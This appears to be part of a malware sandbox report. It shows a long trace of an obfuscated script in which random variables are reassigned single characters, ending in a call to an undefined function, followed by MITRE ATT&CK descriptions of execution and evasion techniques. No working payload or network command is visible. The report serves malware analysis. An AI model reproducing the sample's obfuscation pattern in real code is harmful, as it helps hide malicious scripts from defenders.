354	qnhlb = "P";
355	qnhlb = "o";
356	qnhlb = "U";
357	qnhlb = "v";
358	hynfec = "A";
359	hynfec = "t";
360	hynfec = "n";
361	hynfec = "p";
362	hynfec = "K";
363	hynfec = "Z";
364	hynfec = "R";
365	hynfec = "X";
366	hynfec = "C";
367	hynfec = "s";
368	hynfec = "s";
369	hynfec = "v";
370	hynfec = "E";
371	hynfec = "D";
372	hynfec = "O";
373	hynfec = "o";
374	hynfec = "w";
375	hynfec = "A";
376	hynfec = "w";
377	hynfec = "U";
378	hynfec = "V";
379	hynfec = "o";
380	hynfec = "Z";
381	hynfec = "E";
382	hynfec = "Q";
383	hynfec = "Z";
384	hynfec = "f";
385	hynfec = "S";
386	hynfec = "N";
387	hynfec = "t";
388	hynfec = "p";
389	hynfec = "r";
390	hynfec = "D";
391	hynfec = "x";
392	hynfec = "q";
393	hynfec = "e";
394	hynfec = "j";
395	hynfec = "5";
396	kaatmiz = "m";
397	kaatmiz = "Q";
398	kaatmiz = "k";
399	kaatmiz = "m";
400	kaatmiz = "z";
401	kaatmiz = "m";
402	kaatmiz = "e";
403	kaatmiz = "m";
404	kaatmiz = "H";
405	kaatmiz = "J";
406	kaatmiz = "T";
407	kaatmiz = "y";
408	kaatmiz = "F";
409	kaatmiz = "R";
410	kaatmiz = "X";
411	kaatmiz = "a";
412	kaatmiz = "y";
413	kaatmiz = "u";
414	kaatmiz = "T";
415	kaatmiz = "w";
416	kaatmiz = "s";
417	kaatmiz = "i";
418	kaatmiz = "d";
419	kaatmiz = "H";
420	kaatmiz = "G";
421	kaatmiz = "E";
422	kaatmiz = "a";
423	kaatmiz = "a";
424	kaatmiz = "X";
425	kaatmiz = "U";
426	kaatmiz = "%";
427	uicpjprfe = "m";
428	uicpjprfe = "O";
429	uicpjprfe = "K";
430	uicpjprfe = "K";
431	uicpjprfe = "E";
432	uicpjprfe = "B";
433	uicpjprfe = "k";
434	uicpjprfe = "S";
435	uicpjprfe = "N";
436	uicpjprfe = "o";
437	uicpjprfe = "t";
438	uicpjprfe = "v";
439	uicpjprfe = "u";
440	uicpjprfe = "f";
441	uicpjprfe = "k";
442	uicpjprfe = "r";
443	uicpjprfe = "n";
444	uicpjprfe = "e";
445	uicpjprfe = "l";
446	uicpjprfe = "e";
447	uicpjprfe = "f";
448	uicpjprfe = "L";
449	uicpjprfe = "y";
450	uicpjprfe = "p";
451	uicpjprfe = "_";
452	wgzcxkcr = "e";
453	wgzcxkcr = "E";
454	wgzcxkcr = "M";
455	wgzcxkcr = "O";
456	wgzcxkcr = "w";
457	wgzcxkcr = "l";
458	wgzcxkcr = "f";
459	wgzcxkcr = "w";
460	wgzcxkcr = "I";
461	wgzcxkcr = "Z";
462	wgzcxkcr = "S";
463	wgzcxkcr = "M";
464	wgzcxkcr = "h";
465	wgzcxkcr = "F";
466	wgzcxkcr = "O";
467	wgzcxkcr = "z";
468	wgzcxkcr = "d";
469	wgzcxkcr = "M";
470	wgzcxkcr = "t";
471	wgzcxkcr = "e";
472	wgzcxkcr = "a";
473	wgzcxkcr = "j";
474	wgzcxkcr = "b";
475	wgzcxkcr = "t";
476	wgzcxkcr = "q";
477	wgzcxkcr = "7";
478	verfexek = "S";
479	verfexek = "l";
480	verfexek = "g";
481	verfexek = "q";
482	verfexek = "j";
483	verfexek = "H";
484	verfexek = "E";
485	verfexek = "U";
486	verfexek = "G";
487	verfexek = "a";
488	verfexek = "w";
489	verfexek = "f";
490	verfexek = "j";
491	verfexek = "j";
492	verfexek = "G";
493	verfexek = "w";
494	verfexek = "V";
495	verfexek = "r";
496	verfexek = "Z";
497	verfexek = "g";
498	verfexek = "x";
499	verfexek = "B";
500	verfexek = "K";
501	verfexek = "i";
502	verfexek = "W";
503	verfexek = "N";
504	verfexek = "h";
505	verfexek = "F";
506	vnrvysctg = "z";
507	vnrvysctg = "s";
508	vnrvysctg = "g";
509	vnrvysctg = "t";
510	vnrvysctg = "J";
511	vnrvysctg = "w";
512	vnrvysctg = "Y";
513	vnrvysctg = "Z";
514	vnrvysctg = "x";
515	vnrvysctg = "W";
516	vnrvysctg = "G";
517	vnrvysctg = "I";
518	vnrvysctg = "l";
519	vnrvysctg = "T";
520	vnrvysctg = "N";
521	vnrvysctg = "E";
522	vnrvysctg = "K";
523	vnrvysctg = "4";
524	ypykmvwa = "o";
525	ypykmvwa = "P";
526	ypykmvwa = "m";
527	ukrtayqhn = "Z";
528	ukrtayqhn = "J";
529	ukrtayqhn = "T";
530	ukrtayqhn = "F";
531	ukrtayqhn = "M";
532	ukrtayqhn = "x";
533	ukrtayqhn = "I";
534	ukrtayqhn = "Q";
535	ukrtayqhn = "n";
536	ukrtayqhn = "C";
537	ukrtayqhn = "Q";
538	ukrtayqhn = "Z";
539	ukrtayqhn = "Z";
540	ukrtayqhn = "I";
541	ukrtayqhn = "q";
542	ukrtayqhn = "w";
543	ukrtayqhn = "O";
544	ukrtayqhn = "U";
545	ukrtayqhn = "o";
546	ukrtayqhn = "U";
547	ukrtayqhn = "C";
548	ukrtayqhn = "v";
549	ukrtayqhn = "A";
550	ukrtayqhn = "u";
551	ukrtayqhn = "B";
552	ukrtayqhn = "n";
553	ukrtayqhn = "e";
554	ukrtayqhn = "C";
555	ukrtayqhn = "F";
556	ukrtayqhn = "v";
557	ukrtayqhn = "u";
558	ukrtayqhn = "g";
559	ukrtayqhn = "o";
560	ukrtayqhn = "a";
561	ukrtayqhn = "g";
562	ukrtayqhn = "8";
563	proeibnl = "v";
564	proeibnl = "I";
565	proeibnl = "N";
566	proeibnl = "i";
567	proeibnl = "V";
568	proeibnl = "p";
569	proeibnl = "M";
570	proeibnl = "o";
571	proeibnl = "k";
572	proeibnl = "W";
573	proeibnl = "U";
574	proeibnl = "s";
575	proeibnl = "Y";
576	proeibnl = "b";
577	proeibnl = "K";
578	proeibnl = "I";
579	proeibnl = "p";
580	proeibnl = "t";
581	proeibnl = "o";
582	proeibnl = "R";
583	proeibnl = "g";
584	proeibnl = "F";
585	proeibnl = "z";
586	proeibnl = "q";
587	proeibnl = "f";
588	proeibnl = "g";
589	proeibnl = "W";
590	xnzagzvp = "Y";
591	xnzagzvp = "R";
592	xnzagzvp = "T";
593	xnzagzvp = "F";
594	xnzagzvp = "y";
595	xnzagzvp = "E";
596	xnzagzvp = "o";
597	fgwhrv = "m";
598	fgwhrv = "d";
599	fgwhrv = "Z";
600	fgwhrv = "x";
601	fgwhrv = "v";
602	fgwhrv = "g";
603	fgwhrv = "O";
604	fgwhrv = "G";
605	fgwhrv = "C";
606	fgwhrv = "B";
607	fgwhrv = "v";
608	fgwhrv = "t";
609	fgwhrv = "Q";
610	saoemhdt = "c";
611	saoemhdt = "K";
612	saoemhdt = "V";
613	saoemhdt = "a";
614	saoemhdt = "a";
615	saoemhdt = "g";
616	saoemhdt = "o";
617	saoemhdt = "e";
618	saoemhdt = "z";
619	saoemhdt = "x";
620	saoemhdt = "A";
621	saoemhdt = "R";
622	saoemhdt = "J";
623	saoemhdt = "v";
624	saoemhdt = "q";
625	saoemhdt = "c";
626	saoemhdt = "C";
627	saoemhdt = "N";
628	saoemhdt = "m";
629	saoemhdt = "q";
630	saoemhdt = "I";
631	saoemhdt = "s";
632	saoemhdt = "h";
633	saoemhdt = "c";
634	saoemhdt = "d";
635	saoemhdt = "w";
636	saoemhdt = "R";
637	saoemhdt = "S";
638	saoemhdt = "d";
639	saoemhdt = "g";
640	saoemhdt = "c";
641	saoemhdt = "V";
642	saoemhdt = "M";
643	saoemhdt = "I";
644	saoemhdt = "Z";
645	saoemhdt = "u";
646	saoemhdt = "F";
647	saoemhdt = "y";
648	saoemhdt = ":";
649	zuwea = "J";
650	zuwea = "m";
651	zuwea = "b";
652	zuwea = "y";
653	zuwea = "Z";
654	zuwea = "t";
655	zuwea = "d";
656	zuwea = "M";
657	zuwea = "P";
658	zuwea = "I";
659	zuwea = "T";
660	zuwea = "b";
661	zuwea = "A";
662	zuwea = "n";
663	zuwea = "v";
664	zuwea = "e";
665	zuwea = "s";
666	zuwea = "e";
667	zuwea = "d";
668	zuwea = "I";
669	zuwea = "3";
670	wmuipft = "S";
671	stajev = "e";
672	stajev = "Z";
673	stajev = "e";
674	stajev = "r";
675	stajev = "U";
676	stajev = "a";
677	stajev = "t";
678	stajev = "B";
679	stajev = "v";
680	stajev = "j";
681	stajev = "V";
682	stajev = "l";
683	stajev = "d";
684	xpxgmfyp = "Y";
685	xpxgmfyp = "B";
686	xpxgmfyp = "D";
687	xpxgmfyp = "X";
688	xpxgmfyp = "O";
689	xpxgmfyp = "b";
690	xpxgmfyp = "J";
691	xpxgmfyp = "e";
692	xpxgmfyp = "j";
693	xpxgmfyp = "t";
694	xpxgmfyp = "x";
695	xpxgmfyp = "E";
696	xpxgmfyp = "c";
697	xpxgmfyp = "C";
698	xpxgmfyp = "i";
699	xpxgmfyp = "q";
700	xpxgmfyp = "W";
701	xpxgmfyp = "B";
702	xpxgmfyp = "C";
703	xpxgmfyp = "s";
704	zgkuaabay = "M";
705	zgkuaabay = "d";
706	zgkuaabay = "z";
707	zgkuaabay = "N";
708	zgkuaabay = "B";
709	zgkuaabay = "M";
710	zgkuaabay = "D";
711	zgkuaabay = "L";
712	zgkuaabay = "a";
713	zgkuaabay = "b";
714	zgkuaabay = "s";
715	zgkuaabay = "w";
716	zgkuaabay = "f";
717	zgkuaabay = "f";
718	zgkuaabay = "H";
719	zgkuaabay = "R";
720	zgkuaabay = "K";
721	zgkuaabay = "M";
722	zgkuaabay = "a";
723	zgkuaabay = "/";
724	jbzocbyc = "h";
725	jbzocbyc = "m";
726	jbzocbyc = "D";
727	jbzocbyc = "V";
728	jbzocbyc = "e";
729	jbzocbyc = "F";
730	jbzocbyc = "R";
731	jbzocbyc = "Q";
732	jbzocbyc = "e";
733	jbzocbyc = "M";
734	jbzocbyc = "x";
735	jbzocbyc = "V";
736	jbzocbyc = "i";
737	jbzocbyc = "Y";
738	jbzocbyc = "w";
739	jbzocbyc = "Z";
740	jbzocbyc = "N";
741	jbzocbyc = "y";
742	jbzocbyc = "G";
743	jbzocbyc = "X";
744	jbzocbyc = "Y";
745	jbzocbyc = "m";
746	jbzocbyc = "A";
747	jbzocbyc = "F";
748	jbzocbyc = "r";
749	jbzocbyc = "g";
750	jbzocbyc = "d";
751	jbzocbyc = "A";
752	jbzocbyc = "Y";
753	jbzocbyc = "c";
754	jbzocbyc = "V";
755	jbzocbyc = "n";
756	jbzocbyc = "o";
757	jbzocbyc = "c";
758	jbzocbyc = "k";
759	jbzocbyc = "w";
760	jbzocbyc = "n";
761	jbzocbyc = "U";
762	jbzocbyc = "f";
763	jbzocbyc = "s";
764	jbzocbyc = "Q";
765	jbzocbyc = "C";
766	jbzocbyc = "\\";
767	stpgnew = "k";
768	riakw = "S";
769	riakw = "-";
770	hlpgayje = "U";
771	hlpgayje = "s";
772	hlpgayje = "M";
773	hlpgayje = "I";
774	hlpgayje = "E";
775	hlpgayje = "f";
776	hlpgayje = "A";
777	hlpgayje = "W";
778	hlpgayje = "M";
779	hlpgayje = "K";
780	qnxibyd = "G";
781	qnxibyd = "l";
782	qnxibyd = "L";
783	qnxibyd = "f";
784	qnxibyd = "R";
785	qnxibyd = "k";
786	qnxibyd = "K";
787	qnxibyd = "R";
788	qnxibyd = "V";
789	qnxibyd = "N";
790	qnxibyd = "K";
791	qnxibyd = "a";
792	qnxibyd = "n";
793	qnxibyd = "q";
794	qnxibyd = "w";
795	qnxibyd = "y";
796	qnxibyd = "c";
797	qnxibyd = "A";
798	qnxibyd = "G";
799	qnxibyd = "A";
800	qnxibyd = "N";
801	qnxibyd = "Q";
802	qnxibyd = "o";
803	qnxibyd = "Z";
804	qnxibyd = "I";
805	pkogzt = "s";
806	pkogzt = "o";
807	pkogzt = "S";
808	pkogzt = "j";
809	pkogzt = "f";
810	pkogzt = "T";
811	pkogzt = "j";
812	pkogzt = "G";
813	pkogzt = "j";
814	pkogzt = "N";
815	hkmxm = "r";
816	hkmxm = "b";
817	hkmxm = "J";
818	hkmxm = "G";
819	hkmxm = "m";
820	hkmxm = "N";
821	hkmxm = "u";
822	hkmxm = "N";
823	hkmxm = "M";
824	hkmxm = "I";
825	hkmxm = "b";
826	hkmxm = "M";
827	hkmxm = "j";
828	hkmxm = "x";
829	hkmxm = "t";
830	hkmxm = "r";
831	hkmxm = "J";
832	hkmxm = "Z";
833	hkmxm = "U";
834	hkmxm = "k";
835	hkmxm = "r";
836	hkmxm = "l";
837	hkmxm = "I";
838	hkmxm = "o";
839	hkmxm = "y";
840	hkmxm = "Y";
841	hkmxm = "S";
842	hkmxm = "f";
843	hkmxm = "B";
844	hkmxm = "y";
845	hkmxm = "v";
846	hkmxm = "Q";
847	hkmxm = "h";
848	hkmxm = "m";
849	hkmxm = "Y";
850	jzxwtndj = "J";
851	jzxwtndj = "z";
852	jzxwtndj = "y";
853	jzxwtndj = "R";
854	jzxwtndj = "N";
855	jzxwtndj = "k";
856	jzxwtndj = "p";
857	jzxwtndj = "Q";
858	jzxwtndj = "w";
859	jzxwtndj = "I";
860	jzxwtndj = "T";
861	jzxwtndj = "d";
862	jzxwtndj = "h";
863	jzxwtndj = "G";
864	jzxwtndj = "T";
865	jzxwtndj = "W";
866	jzxwtndj = "E";
867	jzxwtndj = "j";
868	jzxwtndj = "X";
869	jzxwtndj = "j";
870	jzxwtndj = "G";
871	jzxwtndj = "m";
872	jzxwtndj = "J";
873	jzxwtndj = "q";
874	jzxwtndj = "q";
875	jzxwtndj = "H";
876	jzxwtndj = "q";
877	jzxwtndj = "d";
878	jzxwtndj = "W";
879	jzxwtndj = "n";
880	jzxwtndj = "z";
881	jzxwtndj = "F";
882	jzxwtndj = "Z";
883	jzxwtndj = "R";
884	kppqoy = "l";
885	kppqoy = "&";
886	evung = "z";
887	evung = "A";
888	evung = "Z";
889	evung = "J";
890	evung = "f";
891	evung = "L";
892	evung = "h";
893	evung = "T";
894	evung = "S";
895	evung = "P";
896	evung = "q";
897	evung = "i";
898	evung = "m";
899	evung = "J";
900	evung = "v";
901	evung = "c";
902	evung = "v";
903	evung = "I";
904	evung = "f";
905	evung = "G";
906	evung = "P";
907	evung = "k";
908	evung = "u";
909	evung = "x";
910	evung = "D";
911	evung = "h";
912	evung = "z";
913	evung = "O";
914	evung = "Q";
915	evung = "S";
916	evung = "V";
917	evung = "F";
918	evung = "e";
919	gvobbg = "X";
920	gvobbg = "Y";
921	gvobbg = "X";
922	gvobbg = "v";
923	gvobbg = "P";
924	gvobbg = "M";
925	gvobbg = "z";
926	gvobbg = "H";
927	gvobbg = "F";
928	gvobbg = "i";
929	gvobbg = "X";
930	gvobbg = "F";
931	gvobbg = "E";
932	gvobbg = "m";
933	gvobbg = "l";
934	kntzytyk = "C";
935	kntzytyk = "f";
936	kntzytyk = "u";
937	kntzytyk = "c";
938	kntzytyk = "f";
939	kntzytyk = "r";
940	kntzytyk = "J";
941	kntzytyk = "k";
942	kntzytyk = "F";
943	kntzytyk = "G";
944	kntzytyk = "e";
945	kntzytyk = "x";
946	kntzytyk = "g";
947	kntzytyk = "N";
948	kntzytyk = "i";
949	kntzytyk = "s";
950	kntzytyk = "L";
951	kntzytyk = "y";
952	kntzytyk = "A";
953	kntzytyk = "S";
954	kntzytyk = "z";
955	kntzytyk = "F";
956	kntzytyk = "g";
957	kntzytyk = "c";
958	kntzytyk = "g";
959	kntzytyk = "G";
960	kntzytyk = "c";
961	cpbxcfak = "r";
962	cpbxcfak = "B";
963	cpbxcfak = "m";
964	cpbxcfak = "Y";
965	cpbxcfak = "G";
966	cpbxcfak = "O";
967	cpbxcfak = "K";
968	cpbxcfak = "F";
969	cpbxcfak = "Y";
970	cpbxcfak = "s";
971	cpbxcfak = "u";
972	cpbxcfak = "Q";
973	cpbxcfak = "A";
974	cpbxcfak = "j";
975	cpbxcfak = "H";
976	cpbxcfak = "j";
977	cpbxcfak = "R";
978	cpbxcfak = "A";
979	cpbxcfak = "r";
980	cpbxcfak = "J";
981	cpbxcfak = "A";
982	cpbxcfak = "0";
983	kyaqmy = "U";
984	kyaqmy = "u";
985	kyaqmy = "w";
986	kyaqmy = "i";
987	kyaqmy = "r";
988	kyaqmy = "Y";
989	kyaqmy = "F";
990	kyaqmy = "C";
991	kyaqmy = "A";
992	kyaqmy = "J";
993	kyaqmy = "f";
994	kyaqmy = "M";
995	kyaqmy = "f";
996	kyaqmy = "i";
997	kyaqmy = "E";
998	kyaqmy = "D";
999	kyaqmy = "H";
1000	kyaqmy = "H";
1001	kyaqmy = "K";
1002	kyaqmy = "M";
1003	kyaqmy = "g";
1004	kyaqmy = "G";
1005	kyaqmy = "X";
1006	kyaqmy = "k";
1007	kyaqmy = "T";
1008	kyaqmy = "i";
1009	kyaqmy = "L";
1010	kyaqmy = "z";
1011	kyaqmy = "B";
1012	kyaqmy = "v";
1013	kyaqmy = "T";
1014	kyaqmy = "H";
1015	kyaqmy = "c";
1016	kyaqmy = "N";
1017	kyaqmy = "W";
1018	kyaqmy = "X";
1019	kyaqmy = "x";
1020	kyaqmy = "o";
1021	kyaqmy = "k";
1022	kyaqmy = "H";
1023	kyaqmy = "w";
1024	crtnhwzyk = "B";
1025	crtnhwzyk = "m";
1026	crtnhwzyk = "f";
1027	crtnhwzyk = "w";
1028	crtnhwzyk = "n";
1029	crtnhwzyk = "P";
1030	crtnhwzyk = "b";
1031	ychqk = "K";
1032	ychqk = "G";
1033	ychqk = "q";
1034	ychqk = "O";
1035	ychqk = "Y";
1036	ychqk = "J";
1037	ychqk = "I";
1038	ychqk = "F";
1039	ychqk = "2";
1040	jpasdpg = "H";
1041	jpasdpg = "e";
1042	jpasdpg = "I";
1043	jpasdpg = "F";
1044	jpasdpg = "C";
1045	jpasdpg = "X";
1046	jpasdpg = "U";
1047	jpasdpg = "t";
1048	jpasdpg = "F";
1049	jpasdpg = "C";
1050	jpasdpg = "O";
1051	jpasdpg = "a";
1052	jpasdpg = "J";
1053	jpasdpg = "J";
1054	jpasdpg = "H";
1055	jpasdpg = "l";
1056	jpasdpg = "e";
1057	jpasdpg = "E";
1058	jpasdpg = "k";
1059	jpasdpg = "e";
1060	jpasdpg = "d";
1061	jpasdpg = "a";
1062	jpasdpg = "L";
1063	yzsmdz = "M";
1064	yzsmdz = "f";
1065	yzsmdz = "Q";
1066	yzsmdz = "b";
1067	yzsmdz = "y";
1068	yzsmdz = "B";
1069	yzsmdz = "p";
1070	yzsmdz = "d";
1071	yzsmdz = "r";
1072	yzsmdz = "h";
1073	yzsmdz = "N";
1074	yzsmdz = "f";
1075	yzsmdz = "i";
1076	yzsmdz = "O";
1077	xnorrymm = "u";
1078	xnorrymm = "d";
1079	xnorrymm = "u";
1080	xnorrymm = "o";
1081	xnorrymm = "q";
1082	xnorrymm = "Z";
1083	xnorrymm = "R";
1084	xnorrymm = "W";
1085	xnorrymm = "H";
1086	xnorrymm = "Q";
1087	xnorrymm = "q";
1088	xnorrymm = "M";
1089	xnorrymm = "y";
1090	xnorrymm = "b";
1091	xnorrymm = "u";
1092	xnorrymm = "d";
1093	xnorrymm = "M";
1094	xnorrymm = "H";
1095	xnorrymm = "i";
1096	xnorrymm = "V";
1097	xnorrymm = "Z";
1098	xnorrymm = "z";
1099	xnorrymm = "e";
1100	xnorrymm = "E";
1101	xnorrymm = "p";
1102	bocbpkvn = "u";
1103	bocbpkvn = "Q";
1104	bocbpkvn = "W";
1105	bocbpkvn = "R";
1106	bocbpkvn = "v";
1107	bocbpkvn = "c";
1108	bocbpkvn = "k";
1109	bocbpkvn = "G";
1110	bocbpkvn = "V";
1111	bocbpkvn = "C";
1112	bocbpkvn = "w";
1113	bocbpkvn = "k";
1114	bocbpkvn = "O";
1115	bocbpkvn = "U";
1116	bocbpkvn = "d";
1117	bocbpkvn = "j";
1118	bocbpkvn = "i";
1119	bocbpkvn = "V";
1120	bocbpkvn = "M";
1121	bocbpkvn = "T";
1122	scjktss = "G";
1123	scjktss = "o";
1124	scjktss = "g";
1125	scjktss = "S";
1126	scjktss = "F";
1127	scjktss = "j";
1128	scjktss = "o";
1129	scjktss = "i";
1130	scjktss = "K";
1131	scjktss = "T";
1132	scjktss = "Y";
1133	scjktss = "T";
1134	scjktss = "Q";
1135	scjktss = "A";
1136	scjktss = "t";
1137	scjktss = "a";
1138	scjktss = "x";
1139	scjktss = "n";
1140	scjktss = "A";
1141	scjktss = "o";
1142	scjktss = "j";
1143	scjktss = "q";
1144	scjktss = "l";
1145	scjktss = "j";
1146	scjktss = "D";
1147	scjktss = "r";
1148	scjktss = "x";
1149	scjktss = "o";
1150	scjktss = "q";
1151	scjktss = "r";
1152	hcbtip = "P";
1153	jzschkiau = "X";
1154	jzschkiau = "Y";
1155	jzschkiau = "Q";
1156	jzschkiau = "y";
1157	jzschkiau = "F";
1158	jzschkiau = "p";
1159	jzschkiau = "V";
1160	jzschkiau = "k";
1161	jzschkiau = "Z";
1162	jzschkiau = "v";
1163	jzschkiau = "b";
1164	jzschkiau = "m";
1165	jzschkiau = "j";
1166	jzschkiau = "C";
1167	jzschkiau = "U";
1168	jzschkiau = "k";
1169	jzschkiau = "Y";
1170	jzschkiau = "b";
1171	jzschkiau = "W";
1172	jzschkiau = "T";
1173	jzschkiau = "l";
1174	jzschkiau = "@";
1175	eojjcoyft = "t";
1176	vzeekasc = "p";
1177	vzeekasc = "V";
1178	vzeekasc = "h";
1179	vzeekasc = "E";
1180	vzeekasc = "B";
1181	vzeekasc = "R";
1182	vzeekasc = "G";
1183	vzeekasc = "S";
1184	vzeekasc = "x";
1185	vzeekasc = "v";
1186	vzeekasc = "z";
1187	vzeekasc = "r";
1188	vzeekasc = "B";
1189	vzeekasc = "v";
1190	vzeekasc = "u";
1191	vzeekasc = "h";
1192	vzeekasc = "Y";
1193	vzeekasc = "s";
1194	vzeekasc = "h";
1195	vzeekasc = "A";
1196	vzeekasc = "v";
1197	vzeekasc = "V";
1198	vzeekasc = "b";
1199	vzeekasc = "O";
1200	vzeekasc = "R";
1201	vzeekasc = "A";
1202	vzeekasc = "s";
1203	vzeekasc = "k";
1204	vzeekasc = "r";
1205	vzeekasc = "E";
1206	vzeekasc = "x";
1207	vzeekasc = "C";
1208	vzeekasc = "R";
1209	vzeekasc = "K";
1210	vzeekasc = "x";
1211	xpdwuigf = "i";
1212	xpdwuigf = "k";
1213	xpdwuigf = "j";
1214	xpdwuigf = "h";
1215	xpdwuigf = "j";
1216	xpdwuigf = "O";
1217	xpdwuigf = "n";
1218	xpdwuigf = "e";
1219	xpdwuigf = "V";
1220	xpdwuigf = "y";
1221	xpdwuigf = "z";
1222	xpdwuigf = "s";
1223	xpdwuigf = "X";
1224	xpdwuigf = "T";
1225	xpdwuigf = "I";
1226	xpdwuigf = "v";
1227	xpdwuigf = "D";
1228	xpdwuigf = "A";
1229	xpdwuigf = "O";
1230	xpdwuigf = "b";
1231	xpdwuigf = "l";
1232	xpdwuigf = "G";
1233	xpdwuigf = "o";
1234	xpdwuigf = "Y";
1235	xpdwuigf = "K";
1236	xpdwuigf = "f";
1237	xpdwuigf = "i";
1238	xpdwuigf = "x";
1239	xpdwuigf = "N";
1240	xpdwuigf = "t";
1241	xpdwuigf = "o";
1242	xpdwuigf = "W";
1243	xpdwuigf = "K";
1244	xpdwuigf = "s";
1245	xpdwuigf = "W";
1246	xpdwuigf = "e";
1247	xpdwuigf = "a";
1248	ncqljaqyy = "U";
1249	ncqljaqyy = "M";
1250	ncqljaqyy = "s";
1251	ncqljaqyy = "D";
1252	ncqljaqyy = "N";
1253	ncqljaqyy = "X";
1254	ncqljaqyy = "Q";
1255	ncqljaqyy = "z";
1256	ncqljaqyy = "Y";
1257	ncqljaqyy = "C";
1258	ncqljaqyy = "D";
1259	ncqljaqyy = "H";
1260	ncqljaqyy = "n";
1261	ncqljaqyy = ".";
1262	wdcawm = "k";
1263	wdcawm = "J";
1264	wdcawm = "C";
1265	wdcawm = "A";
1266	wdcawm = "A";
1267	wdcawm = "v";
1268	wdcawm = "u";
1269	bgddrj = "R";
1270	bgddrj = "G";
1271	bgddrj = "S";
1272	bgddrj = "B";
1273	bgddrj = "f";
1274	bgddrj = "C";
1275	bgddrj = "X";
1276	bgddrj = "Y";
1277	bgddrj = "T";
1278	bgddrj = "Z";
1279	bgddrj = "i";
1280	bgddrj = "w";
1281	bgddrj = "K";
1282	bgddrj = "l";
1283	bgddrj = "l";
1284	bgddrj = "K";
1285	bgddrj = "C";
1286	bgddrj = "Z";
1287	bgddrj = "w";
1288	bgddrj = "k";
1289	bgddrj = "a";
1290	bgddrj = "T";
1291	bgddrj = "V";
1292	bgddrj = "C";
1293	bgddrj = "m";
1294	bgddrj = "1";
1295	gzibnjfx = "n";
1296	gzibnjfx = "D";
1297	gzibnjfx = "J";
1298	gzibnjfx = "C";
1299	gzibnjfx = "j";
1300	gzibnjfx = "j";
1301	gzibnjfx = "W";
1302	gzibnjfx = "K";
1303	gzibnjfx = "p";
1304	gzibnjfx = "b";
1305	gzibnjfx = "e";
1306	gzibnjfx = "t";
1307	gzibnjfx = "p";
1308	gzibnjfx = "B";
1309	gzibnjfx = "H";
1310	gzibnjfx = "J";
1311	gzibnjfx = "C";
1312	gzibnjfx = "Y";
1313	gzibnjfx = "l";
1314	gzibnjfx = "a";
1315	gzibnjfx = "g";
1316	gzibnjfx = "C";
1317	gzibnjfx = "d";
1318	gzibnjfx = "C";
1319	gzibnjfx = "U";
1320	gzibnjfx = "U";
1321	gzibnjfx = "g";
1322	gzibnjfx = "E";
1323	gzibnjfx = "k";
1324	gzibnjfx = "E";
1325	gzibnjfx = "q";
1326	gzibnjfx = "F";
1327	gzibnjfx = "B";
1328	gzibnjfx = "s";
1329	gzibnjfx = "B";
1330	gzibnjfx = "J";
1331	gzibnjfx = "l";
1332	gzibnjfx = "i";
1333	oqowu = "P";
1334	oqowu = "q";
1335	oqowu = "r";
1336	oqowu = "b";
1337	oqowu = "Y";
1338	oqowu = "s";
1339	oqowu = "i";
1340	oqowu = "L";
1341	oqowu = "p";
1342	oqowu = "A";
1343	oqowu = "g";
1344	oqowu = "D";
1345	oqowu = "B";
1346	oqowu = "A";
1347	oqowu = "B";
1348	oqowu = "c";
1349	oqowu = "U";
1350	oqowu = "p";
1351	oqowu = "G";
1352	oqowu = "y";
1353	oqowu = "r";
1354	oqowu = "d";
1355	oqowu = "Z";
1356	oqowu = "g";
1357	oqowu = "U";
1358	oqowu = "K";
1359	oqowu = "l";
1360	oqowu = "z";
1361	oqowu = "y";
1362	oqowu = "M";
1363	oqowu = "w";
1364	oqowu = "z";
1365	oqowu = "G";
1366	oqowu = "R";
1367	oqowu = "l";
1368	oqowu = "q";
1369	oqowu = "g";
1370	oqowu = "b";
1371	oqowu = "g";
1372	oqowu = "Q";
1373	oqowu = "t";
1374	oqowu = "p";
1375	oqowu = "J";
1376	oqowu = "Y";
1377	oqowu = "H";
1378	osgos = "\"";
1379	ebpzekuj ( );	ebpzekuj() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

